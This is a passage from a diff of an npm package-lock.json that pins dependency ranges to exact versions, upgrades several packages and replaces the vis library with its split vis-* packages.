"https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz", + "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=" + }, "tmp": { "version": "0.0.33", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", "dev": true, "requires": { - "os-tmpdir": "~1.0.2" + "os-tmpdir": "1.0.2" } }, "to-array": { @@ -16735,7 +18456,7 @@ "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" } }, "to-regex": { @@ -16744,10 +18465,10 @@ "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", "dev": true, "requires": { - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "regex-not": "^1.0.2", - "safe-regex": "^1.1.0" + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "regex-not": "1.0.2", + "safe-regex": "1.1.0" } }, "to-regex-range": { @@ -16756,8 +18477,8 @@ "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", "dev": true, "requires": { - "is-number": "^3.0.0", - "repeat-string": "^1.6.1" + "is-number": "3.0.0", + "repeat-string": "1.6.1" }, "dependencies": { "is-number": { @@ -16766,7 +18487,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" } } } @@ -16776,6 +18497,12 @@ "resolved": "https://registry.npmjs.org/toggle-selection/-/toggle-selection-1.0.6.tgz", "integrity": "sha1-bkWxJj8gF/oKzH2J14sVuL932jI=" }, + "toidentifier": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", + "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==", + "dev": true + }, "toposort": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/toposort/-/toposort-1.0.7.tgz", @@ -16788,7 +18515,7 @@ "integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==", "dev": true, "requires": { - "punycode": "^1.4.1" + "punycode": "1.4.1" } }, "trim-newlines": { @@ -16807,13 +18534,13 @@ "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz", "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==", "requires": { - "glob": "^7.1.2" + "glob": "7.1.6" } }, "tslib": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.9.3.tgz", - "integrity": "sha512-4krF8scpejhaOgqzBEcGM7yDIEfi0/8+8zDRZhNZZ2kjmHJ4hv3zCbQWxoJGz1iw5U0Jl0nma13xzHXcncMavQ==", + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.10.0.tgz", + "integrity": "sha512-qOebF53frne81cf0S9B41ByenJ3/IuH8yJKngAX35CmiZySA0khhkovshKK+jGCaMnVomla7gVlIcc3EvKPbTQ==", "dev": true }, "tty-browserify": { @@ -16827,7 +18554,7 @@ "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", "requires": { - "safe-buffer": "^5.0.1" + "safe-buffer": "5.1.1" } }, "tweetnacl": { @@ -16842,7 +18569,7 @@ "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", "dev": true, "requires": { - "prelude-ls": "~1.1.2" + "prelude-ls": "1.1.2" } }, "type-detect": { @@ -16852,28 +18579,28 @@ "dev": true }, "type-is": { - "version": "1.6.16", - "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.16.tgz", - "integrity": "sha512-HRkVv/5qY2G6I8iab9cI7v1bOIdhm94dVjQCPFElW9W+3GeDOSHmy2EBYe4VTApuzolPcmgFTN3ftVJRKR2J9Q==", + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", "dev": true, "requires": { "media-typer": "0.3.0", - "mime-types": "~2.1.18" + "mime-types": "2.1.24" }, "dependencies": { "mime-db": { - "version": "1.35.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.35.0.tgz", - "integrity": "sha512-JWT/IcCTsB0Io3AhWUMjRqucrHSPsSf2xKLaRldJVULioggvkJvggZ3VXNNSRkCddE6D+BUI4HEIZIA2OjwIvg==", + "version": "1.40.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz", + "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==", "dev": true }, "mime-types": { - "version": "2.1.19", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.19.tgz", - "integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==", + "version": "2.1.24", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz", + "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==", "dev": true, "requires": { - "mime-db": "~1.35.0" + "mime-db": "1.40.0" } } } @@ -16896,9 +18623,9 @@ "dev": true, "optional": true, "requires": { - "source-map": "~0.5.1", - "uglify-to-browserify": "~1.0.0", - "yargs": "~3.10.0" + "source-map": "0.5.6", + "uglify-to-browserify": "1.0.2", + "yargs": "3.10.0" } }, "uglify-to-browserify": { @@ -16908,46 +18635,6 @@ "dev": true, "optional": true }, - "uglifyjs-webpack-plugin": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/uglifyjs-webpack-plugin/-/uglifyjs-webpack-plugin-1.3.0.tgz", - "integrity": "sha512-ovHIch0AMlxjD/97j9AYovZxG5wnHOPkL7T1GKochBADp/Zwc44pEWNqpKl1Loupp1WhFg7SlYmHZRUfdAacgw==", - "dev": true, - "requires": { - "cacache": "^10.0.4", - "find-cache-dir": "^1.0.0", - "schema-utils": "^0.4.5", - "serialize-javascript": "^1.4.0", - "source-map": "^0.6.1", - "uglify-es": "^3.3.4", - "webpack-sources": "^1.1.0", - "worker-farm": "^1.5.2" - }, - "dependencies": { - "commander": { - "version": "2.13.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.13.0.tgz", - "integrity": "sha512-MVuS359B+YzaWqjCL/c+22gfryv+mCBPHAv3zyVI2GN8EY6IRP8VwtasXn8jyyhvvq84R4ImN1OKRtcbIasjYA==", - "dev": true - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "uglify-es": { - "version": "3.3.9", - "resolved": "https://registry.npmjs.org/uglify-es/-/uglify-es-3.3.9.tgz", - "integrity": "sha512-r+MU0rfv4L/0eeW3xZrd16t4NZfK8Ld4SWVglYBb7ez5uXFWHuVRs6xCTrf1yirs9a4j4Y27nn7SRfO6v67XsQ==", - "dev": true, - "requires": { - "commander": "~2.13.0", - "source-map": "~0.6.1" - } - } - } - }, "ultron": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/ultron/-/ultron-1.1.1.tgz", @@ -16959,7 +18646,7 @@ "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-5.1.0.tgz", "integrity": "sha512-5FXYaFANKaafg4IVZXUNtGyzsnYEvqlr9wQ3WpZxFpEUxl29A3H6Q4G1Dnnorvq9TGOGATBApWR4YpLAh+F5hw==", "requires": { - "invariant": "^2.2.4" + "invariant": "2.2.4" }, "dependencies": { "invariant": { @@ -16967,44 +18654,21 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } } } }, "union-value": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.0.tgz", - "integrity": "sha1-XHHDTLW61dzr4+oM0IIHulqhrqQ=", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz", + "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==", "dev": true, "requires": { - "arr-union": "^3.1.0", - "get-value": "^2.0.6", - "is-extendable": "^0.1.1", - "set-value": "^0.4.3" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - }, - "set-value": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/set-value/-/set-value-0.4.3.tgz", - "integrity": "sha1-fbCPnT0i3H945Trzw79GZuzfzPE=", - "dev": true, - "requires": { - "extend-shallow": "^2.0.1", - "is-extendable": "^0.1.1", - "is-plain-object": "^2.0.1", - "to-object-path": "^0.3.0" - } - } + "arr-union": "3.1.0", + "get-value": "2.0.6", + "is-extendable": "0.1.1", + "set-value": "2.0.1" } }, "unique-filename": { @@ -17013,16 +18677,16 @@ "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", "dev": true, "requires": { - "unique-slug": "^2.0.0" + "unique-slug": "2.0.2" } }, "unique-slug": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.1.tgz", - "integrity": "sha512-n9cU6+gITaVu7VGj1Z8feKMmfAjEAQGhwD9fE3zvpRRa0wEIx8ODYkVGfSc94M2OX00tUFV8wH3zYbm1I8mxFg==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz", + "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==", "dev": true, "requires": { - "imurmurhash": "^0.1.4" + "imurmurhash": "0.1.4" } }, "unpipe": { @@ -17037,8 +18701,8 @@ "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", "dev": true, "requires": { - "has-value": "^0.3.1", - "isobject": "^3.0.0" + "has-value": "0.3.1", + "isobject": "3.0.1" }, "dependencies": { "has-value": { @@ -17047,9 +18711,9 @@ "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", "dev": true, "requires": { - "get-value": "^2.0.3", - "has-values": "^0.1.4", - "isobject": "^2.0.0" + "get-value": "2.0.6", + "has-values": "0.1.4", + "isobject": "2.1.0" }, "dependencies": { "isobject": { @@ -17084,9 +18748,9 @@ } }, "upath": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/upath/-/upath-1.1.0.tgz", - "integrity": "sha512-bzpH/oBhoS/QI/YtbkqCg6VEiPYjSZtrHQM6/QnJS6OL9pKUFLqb3aFh4Scvwm45+7iAgiMkLhSbaZxUqmrprw==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", + "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", "dev": true }, "upper-case": { @@ -17100,7 +18764,7 @@ "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", "requires": { - "punycode": "^2.1.0" + "punycode": "2.1.1" }, "dependencies": { "punycode": { @@ -17146,9 +18810,9 @@ "integrity": "sha512-dXHkKmw8FhPqu8asTc1puBfe3TehOCo2+RmOOev5suNCIYBcT626kxiWg1NBVkwc4rO8BGa7gP70W7VXuqHrjg==", "dev": true, "requires": { - "loader-utils": "^1.1.0", - "mime": "^2.0.3", - "schema-utils": "^1.0.0" + "loader-utils": "1.1.0", + "mime": "2.3.1", + "schema-utils": "1.0.0" }, "dependencies": { "loader-utils": { @@ -17157,9 +18821,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } }, "schema-utils": { @@ -17168,21 +18832,21 @@ "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", "dev": true, "requires": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" + "ajv": "6.5.2", + "ajv-errors": "1.0.0", + "ajv-keywords": "3.2.0" } } } }, "url-parse": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.4.3.tgz", - "integrity": "sha512-rh+KuAW36YKo0vClhQzLLveoj8FwPJNu65xLb7Mrt+eZht0IPT0IXgSv8gcMegZ6NvjJUALf6Mf25POlMwD1Fw==", + "version": "1.4.7", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.4.7.tgz", + "integrity": "sha512-d3uaVyzDB9tQoSXFvuSUNFibTd9zxd2bkVrDRvF5TmvWWQwqE4lgYJ5m+x1DbecWkw+LK4RNl2CU1hHuOKPVlg==", "dev": true, "requires": { - "querystringify": "^2.0.0", - "requires-port": "^1.0.0" + "querystringify": "2.1.1", + "requires-port": "1.0.0" } }, "use": { @@ -17192,27 +18856,19 @@ "dev": true }, "useragent": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/useragent/-/useragent-2.2.1.tgz", - "integrity": "sha1-z1k+9PLRdYdei7ZY6pLhik/QbY4=", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/useragent/-/useragent-2.3.0.tgz", + "integrity": "sha512-4AoH4pxuSvHCjqLO04sU6U/uE65BYza8l/KKBS0b0hnUPWi+cQ2BpeTEwejCSx9SPV5/U03nniDTrWx5NrmKdw==", "dev": true, "requires": { - "lru-cache": "2.2.x", - "tmp": "0.0.x" - }, - "dependencies": { - "lru-cache": { - "version": "2.2.4", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-2.2.4.tgz", - "integrity": "sha1-bGWGGb7PFAMdDQtZSxYELOTcBj0=", - "dev": true - } + "lru-cache": "4.1.3", + "tmp": "0.0.33" } }, "util": { - "version": "0.10.4", - "resolved": "https://registry.npmjs.org/util/-/util-0.10.4.tgz", - "integrity": "sha512-0Pm9hTQ3se5ll1XihRic3FDIku70C+iHUdT/W926rSgHV5QgXsYbKZN8MSC3tJtSkhuROzvsQjAaFENRXr+19A==", + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/util/-/util-0.11.1.tgz", + "integrity": "sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ==", "dev": true, "requires": { "inherits": "2.0.3" @@ -17229,8 +18885,8 @@ "integrity": "sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA==", "dev": true, "requires": { - "define-properties": "^1.1.2", - "object.getownpropertydescriptors": "^2.0.3" + "define-properties": "1.1.3", + "object.getownpropertydescriptors": "2.0.3" } }, "utila": { @@ -17252,9 +18908,9 @@ "dev": true }, "v8-compile-cache": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.0.2.tgz", - "integrity": "sha512-1wFuMUIM16MDJRCrpbpuEPTUGmM5QMUg0cr3KFwra2XgOgFcPGDQHDh3CszSCD2Zewc/dh/pamNEW8CbfDebUw==", + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.0.3.tgz", + "integrity": "sha512-CNmdbwQMBjwr9Gsmohvm0pbL954tJrNzf6gWL3K+QMQf00PF7ERGrEiLgjuU3mKreLC2MeGhUsNV9ybTbLgd3w==", "dev": true }, "v8flags": { @@ -17263,7 +18919,7 @@ "integrity": "sha1-qrGh+jDUX4jdMhFIh1rALAtV5bQ=", "dev": true, "requires": { - "user-home": "^1.1.1" + "user-home": "1.1.1" }, "dependencies": { "user-home": { @@ -17279,8 +18935,8 @@ "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", "requires": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" + "spdx-correct": "3.0.0", + "spdx-expression-parse": "3.0.0" } }, "value-equal": { @@ -17299,31 +18955,63 @@ "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", "requires": { - "assert-plus": "^1.0.0", + "assert-plus": "1.0.0", "core-util-is": "1.0.2", - "extsprintf": "^1.2.0" + "extsprintf": "1.3.0" } }, - "vis": { - "version": "4.21.0", - "resolved": "https://registry.npmjs.org/vis/-/vis-4.21.0.tgz", - "integrity": "sha1-3XFji/9/ZJXQC8n0DCU1JhM97Ws=", + "vis-data": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-6.2.2.tgz", + "integrity": "sha512-QFZIcZBUTk5SheUkViqm90TsaXotfwVKhrtuj2G6ySDXufsyhEXMETddfAuYKgEtG3n6MNn+h42QZf6Pr9f8XA==", "requires": { - "emitter-component": "^1.1.1", - "hammerjs": "^2.0.8", - "keycharm": "^0.2.0", - "moment": "^2.18.1", - "propagating-hammerjs": "^1.4.6" + "vis-util": "1.1.9" + }, + "dependencies": { + "vis-util": { + "version": "1.1.9", + "resolved": "https://registry.npmjs.org/vis-util/-/vis-util-1.1.9.tgz", + "integrity": "sha512-hhUs+PPPCvy1SFM0rXnU91DHS8MBr82wZswzcGdZBGD4feTMh5YyR0MvtGtGocyto4VHI7Wx+V6kIDLw0/9KvA==", + "requires": { + "moment": "2.24.0", + "vis-uuid": "1.1.3" + } + } } }, + "vis-network": { + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-5.4.1.tgz", + "integrity": "sha512-hUJlFWoCmLup6IxoXCr//OO2ZCkC8jrXEkkHLG1DhBgB54Y3K33+e5q4tc436inMlGzfqqaKTIToNbOGr8Szww==", + "requires": { + "@egjs/hammerjs": "2.0.16", + "component-emitter": "1.3.0", + "keycharm": "0.2.0", + "moment": "2.24.0", + "timsort": "0.3.0", + "vis-data": "6.2.2", + "vis-util": "1.1.10" + } + }, + "vis-util": { + "version": "1.1.10", + "resolved": "https://registry.npmjs.org/vis-util/-/vis-util-1.1.10.tgz", + "integrity": "sha512-8hGSxsFi2ogYYweClQyITzWnirWgQ8p0i9M4d3OXMuUO8vjXrf+2zHOYI9OZbtUduxAWuMEePnS9BXDtPJmJ7Q==", + "requires": { + "moment": "2.24.0", + "vis-uuid": "1.1.3" + } + }, + "vis-uuid": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/vis-uuid/-/vis-uuid-1.1.3.tgz", + "integrity": "sha512-2B6XdY1bkzbUh+TugmnAaFa61KO9R5pzBzIuFIm8a9FrkbxIdSmQXV+FbfkL8QunkQV/bT0JDLQ2puqCS2+0Og==" + }, "vm-browserify": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-0.0.4.tgz", - "integrity": "sha1-XX6kW7755Kb/ZflUOOCofDV9WnM=", - "dev": true, - "requires": { - "indexof": "0.0.1" - } + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.2.tgz", + "integrity": "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==", + "dev": true }, "void-elements": { "version": "2.0.1", @@ -17336,7 +19024,7 @@ "resolved": "https://registry.npmjs.org/warning/-/warning-3.0.0.tgz", "integrity": "sha1-MuU3fLVy3kqwR1O9+IIcAe1gW3w=", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } }, "watchpack": { @@ -17345,9 +19033,9 @@ "integrity": "sha512-i6dHe3EyLjMmDlU1/bGQpEw25XSjkJULPuAVKCbNRefQVq48yXKUpwg538F7AZTf9kyr57zj++pQFltUa5H7yA==", "dev": true, "requires": { - "chokidar": "^2.0.2", - "graceful-fs": "^4.1.2", - "neo-async": "^2.5.0" + "chokidar": "2.1.8", + "graceful-fs": "4.1.11", + "neo-async": "2.6.1" }, "dependencies": { "anymatch": { @@ -17356,8 +19044,19 @@ "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", "dev": true, "requires": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" + "micromatch": "3.1.10", + "normalize-path": "2.1.1" + }, + "dependencies": { + "normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", + "dev": true, + "requires": { + "remove-trailing-separator": "1.0.2" + } + } } }, "arr-diff": { @@ -17378,16 +19077,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" }, "dependencies": { "extend-shallow": { @@ -17396,30 +19095,29 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } }, "chokidar": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz", - "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", + "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", "dev": true, "requires": { - "anymatch": "^2.0.0", - "async-each": "^1.0.0", - "braces": "^2.3.0", - "fsevents": "^1.2.2", - "glob-parent": "^3.1.0", - "inherits": "^2.0.1", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "lodash.debounce": "^4.0.8", - "normalize-path": "^2.1.1", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.0.0", - "upath": "^1.0.5" + "anymatch": "2.0.0", + "async-each": "1.0.1", + "braces": "2.3.2", + "fsevents": "1.2.9", + "glob-parent": "3.1.0", + "inherits": "2.0.3", + "is-binary-path": "1.0.1", + "is-glob": "4.0.1", + "normalize-path": "3.0.0", + "path-is-absolute": "1.0.1", + "readdirp": "2.2.1", + "upath": "1.2.0" } }, "expand-brackets": { @@ -17428,13 +19126,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -17443,7 +19141,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -17452,7 +19150,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } }, "is-accessor-descriptor": { @@ -17461,7 +19159,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -17470,7 +19168,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -17481,7 +19179,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -17490,7 +19188,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -17501,9 +19199,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" } }, "kind-of": { @@ -17520,14 +19218,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -17536,7 +19234,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "extend-shallow": { @@ -17545,7 +19243,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -17556,10 +19254,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" }, "dependencies": { "extend-shallow": { @@ -17568,20 +19266,20 @@ "integrity": 